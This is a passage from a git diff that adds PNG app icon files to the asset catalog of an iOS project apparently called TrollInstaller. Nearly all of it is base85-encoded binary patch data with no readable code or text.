zE{Na)U8tH%XCpGGan=|%l~xRcn7w#sNgZRycljiU=BD-_wBO_W##3&qAF3GWZE-mw zs;UYPgT_hil|Qurp@HxQHI^w4t?*6?OAu(}R6Z{bis$R#U!$Z}#eg)H!Jd_TSQbKf z=kv0Kb)8OFOIB~k^x&C3D%{Fd_Ba{R1<}2oa4zgp3c^TW&F!VKF;kZ8<{Ru~708io zSe)UeeHgk5(*sUR_HO>RjGHuO%W^k0yHWE$Eu%?4W4nP1qGk*DIK}S!-p%3VgLO7YLO+};tYKykQVev z3^a-IjZ|WtUN6hB@#z=K^-cQ^h266B()8f?M~C>T@OpkQDwB0n5>>%RhM7K z_+ZgaN9ThG#&Z9$L-UD~K{43yZ7ut0i}l`J3`wd*yd8@7PeCP9*Eg@I4^!<#8tEbZ z#E)WNDwkX>82ENg3>bUr%cw~KnV#Cl(l2#&UK#wxMftBGzv1B^(z0^z@=SfF*Mgit z4aLc&rxT{rnTzp{aY0~%B%Y@9S%lu9B9TKoqjq!Y!g0p1Hr^rZr9!W;2Ws~X ztd($D@*Ut=pVTnwf|Ej0rxeZ#)T*rC#zpqQFCmnkE$EaxF{H>1ssa=6LE#K5_jKuH zkLT^Nn;&0&RkAK!8htW;``N4QK1+*bKQQ+Y#-}gGI~y~e`rT)oH*RRh?B~w1Cj^>| z>GX-*88G+7P!Y z=JwdBA=Su-HHCVGp+coBiX}(1yW79&FR&Nwx;OUbU=ozj8tdnNdnBbcHgqca$v4Fx z{`9uBS+a%0cFB>5iD+8_LQ7KKHn_m1)O*5qp*E4qjGKkmJ7Eu7SVI@izI*%H#(I|+ zxD-}TPC;}tr;Nhm%S_wy*`AFL1oj| z&0vL*vQ4_Q;G$|PL*HZeXuqYv9m!x*y!Xt2C*dTNv>L%O(#8HcR8YIWz`jPpub52o z$~jdQ9ecIQFFks9nR8;`jxtxPDZiP)(69H3oVMo3OKxjc&ZkfETQ2KZFD-En9BpaI zG(K>rB~#s~Gce|`D@@DQTSwT_q?z;=N$Uo3=H}_Qa zvGXzCE<|b{R4v&2Z%lUnSz9C%J!)rL<8MBoaz#3Q{T@NX}*MV6`weZe9O?- z?TB~-6HEpz)(JaC?znG$Z0=B@OJUqB@@nE?=eW9=FO$K6#Hh{(l`+ndNf&2lLnB6| za{AsDETIE5xIy#1w>_WnO2=XsOA_Of!eEQ*pfqi&>|qm&nMqJcEIzpN%&he_F1vQ*Q7A0Dd1*dM>@a+e^CyL@3N$e}vO{Y_z{@xO+eP zTX1Mdz@`PPk1Z*Lpl>~mS9rx$?U{)%q_v*4fXi-E_$%gFZP%wCr11G~4;*I|JR{Lf zd&jOWt;EKkRj&TxI&v;ScEg?142?}2>H&jjO&(JIV@bR3@h=}cY}3wL!owEE&QeFckxeZloD8P$Jh%y!OE; zPV`-bl;py{+XVK@B(B54839ppsz|&h`kT=d9(8Jpw`ud84HpyvGvMzJ@#KF3IJu-k literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58.png new file mode 100644 index 0000000000000000000000000000000000000000..d9e3451f0345e7fe7e2bcacfe014d39725496223 GIT binary patch literal 5891 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 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/60.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/60.png new file mode 100644 index 0000000000000000000000000000000000000000..b99c5976448ae76a8d90e8accb449b65ebd1cc3c GIT binary patch literal 6128 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 